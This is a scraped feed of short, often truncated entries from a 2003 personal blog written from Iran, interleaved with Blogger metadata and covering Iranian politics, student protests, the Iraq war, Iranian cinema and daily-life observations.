I was going to put pictures to go with the words but ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057673105048658712003-07-08T07:05:00.000-07:002009-07-08T06:34:54.971-07:00Oh No! I'd heard of Tehrangeles, now there is Tehranto. (Persian blog.)ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057672970453462922003-07-08T07:02:00.000-07:002009-07-08T06:34:54.974-07:00British journalist killed in Iraq. This Guardian article and Scotsman article examine some of the possible reasons for his death and give a biography.
"I don’t think he really appreciated the dangers of anything," his father said.
It's not the right time for anyone to visit Iraq. ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057669264199031022003-07-08T06:01:00.000-07:002009-07-08T06:34:54.979-07:00Millionaire Mullahs.
"They were not rich people, so they worked hard and always tried to help their relatives get ahead," remembers Reza, a historian who declines to use his last name and who studied with one of Rafsanjani's brothers at Tehran University in the early 1970s. "When they were in university, two brothers earned money on the side tutoring theological students and preparing their examahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057659478662105092003-07-08T03:17:00.000-07:002009-07-08T06:34:54.983-07:00Both Iranian twins die in operation. RIP, it was a courageous decision for them to try to undertake it in the first place. As you can imagine everyone at my work is unhappy about this.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057571250088363432003-07-07T02:47:00.000-07:002009-07-08T06:34:54.987-07:00"This war on terror will continue until every enemy who plots against the American people is confronted and defeated." Sometimes I think Bush (in this case Cheney) just has to grow a beard and it would be very difficult to tell him from Khamenei. It just sounds sooo familiar, because this phrase: "enemy plot" is used in Iran ad infinitum ad nauseum. Americans haven't been inoculated against ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057570472273193132003-07-07T02:34:00.000-07:002009-07-08T06:34:54.992-07:00I've returned to Iran. I have some vignettes to share...
One day I was talking with Brendan McKay who is visiting Iran in August. Professor McKay has done much work explaining the "Bible Code" phenomenon to people in lectures and over the Internet. He's given many lectures in Israel explaining that the phenomenon can be found in any large text, for example "Moby Dick". Now, he suggested thatahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057421984397822762003-07-05T09:19:00.000-07:002009-07-08T06:34:54.999-07:0042 degrees on Wednesday is too hot for protesting, or even observing it.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057230427864447442003-07-03T04:07:00.000-07:002009-07-08T06:34:55.007-07:00I always criticise Dr Ledeen when he overestimates or exaggerates, so it's only fair to point out reputable sources that say he has understated the crackdown on students (though this is a first).
Ledeen: ... the actual number could be upwards of 6-7,000.
Asharq Al-Awsat: Over the past two weeks, more than 8,000 students have been arrested during demonstrations against the regime and religious ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057047464098838862003-07-01T01:17:00.000-07:002009-07-08T06:34:55.017-07:00What Howard Dean thinks about Iran.
Islam says everything and Islam does not say anything.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1056795252574574172003-06-28T03:14:00.000-07:002009-07-08T06:34:55.023-07:0010 appalling lies about Iraq (high on Blogdex but not daypop or popdex).
Menas Associates wrote their monthly Iran report: part 1 and part 2. There were some interesting eyewitness reports of the protests.
Most interesting of all was the frontpage symposium (via iranvajahan). I have so much to say about it, but I'll sit on my hands for now.
I should have talked about Ledeen again. He
ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-960102882003-06-25T02:19:00.000-07:002009-07-08T06:34:55.028-07:00In this surreal world, Americans and Australians get to see Jafar Panahi's latest film Crimson Gold before Iranians (if it's ever shown here). On the same site, Deep Breath (another Iranian film) is reviewed, and the film Paradise is somewhere else is showing at the Karlovy Vary festival. Kiarostami is visiting the Melbourne festival:
"One of the reasons we pursued quite vigorously to have ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-959732262003-06-23T23:59:00.000-07:002009-07-08T06:34:55.033-07:00I can kill two birds with one stone. I wanted to discuss safety at work in Iran. If you come to Iran, you will see taxis with no seatbelts, people working on jackhammers without ear protection, people welding without masks, people riding girders at construction sites to the tops of buildings, and definitely no hard hats. Perhaps you will also see some graffiti about 18 Tir (July 9) which the ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-959720362003-06-23T23:01:00.000-07:002009-07-08T06:34:55.041-07:00I am drooling over the G5. But how will I afford the dual 2Ghz G5, a new laptop with wireless, and do all the travel I want to do?ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-959400462003-06-23T02:17:00.000-07:002009-07-08T06:34:55.045-07:00So I'm being quoted by Mark Steyn, (who has become an editor for The Spectator) after the mention by Michael Ledeen. My humorous comment concerns whether Muslims are praying less regularly in Tehran, and I can't interview everyone and find out. I just rely on what I see and statistics. (By the way it's easy to find "The Economist" in Tehran but I've never seen "The Spectator".)
There's a bad ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-959394292003-06-23T01:38:00.000-07:002009-07-08T06:34:55.049-07:00Oh I don't know what to write about today! I'll just give links. ML Kotru writes about his experiences in Iran in 1979. He calls Khamenei a "high priest" which makes me think of Judaism.
An American is visiting Iran. One of the people with him/her has delusions of uniqueness about that: "A said that I might be the first American to visit Arak. Somehow I doubt that.", cool analogies to ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-959118072003-06-22T00:25:00.000-07:002009-07-08T06:34:55.054-07:00An "intelligence official" working for Hekmatyar? He must have described himself as that. Would the Associated Press have described someone working for bin Laden like that? Until February 2002, Hekmatyar used to live in Niavaran, an exclusive suburb of north Tehran, and was once expelled from the military academy in Kabul for homosexuality. (Read the book Afghanistan Behind the Smoke Screen ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-959109692003-06-21T23:34:00.000-07:002009-07-08T06:34:55.060-07:00Azam wrote about people from the MKO burning themselves. In April 2003, a suicide specialist in Iran wrote about the reasons for this happening in Iran. In fact he found that 70% of suicides in Ilam province were women. As far as I know, Iran (just Ilam?) and Afghanistan are the only countries where women commit suicide more than men; in all other countries men far outnumber women in this ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-958852272003-06-20T22:24:00.000-07:002009-07-08T06:34:55.066-07:00Analysts considers implications of Bush's statement on Iran.
The argument that the United States was engaging in selective enforcement of a strict standard against Iran while other countries have developed nuclear weapons without such U.S. threats left Clawson unmoved. Those other countries do not organize public demonstrations around the theme of "death to America" and are not on the U.S. list ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-958246072003-06-19T05:27:00.000-07:002009-07-08T06:34:55.070-07:00Donkey wedding staged to bring rain. I thought they only had donkey weddings in Tabriz. I guess I was wrong.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-958240982003-06-19T04:57:00.000-07:002009-07-08T06:34:55.075-07:00I'm obsessed with definitions of "soosool"!
"They (Iran's government) think that everything happening there is my fault and that the protesters are just sissies who want to dance," Atabay said referring to the clerics' bans on dancing and pop music.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-958211032003-06-19T01:33:00.000-07:002009-07-08T06:34:55.079-07:00You live in Shahrak-e-Gharb, 30, unmarried, unemployed, been to 11 countries, but you can't pay me 5000 tomans an hour ($US6) for English teaching? OK, there are plenty of other fish in the sea.ahuramazdanoreply@blogger.com0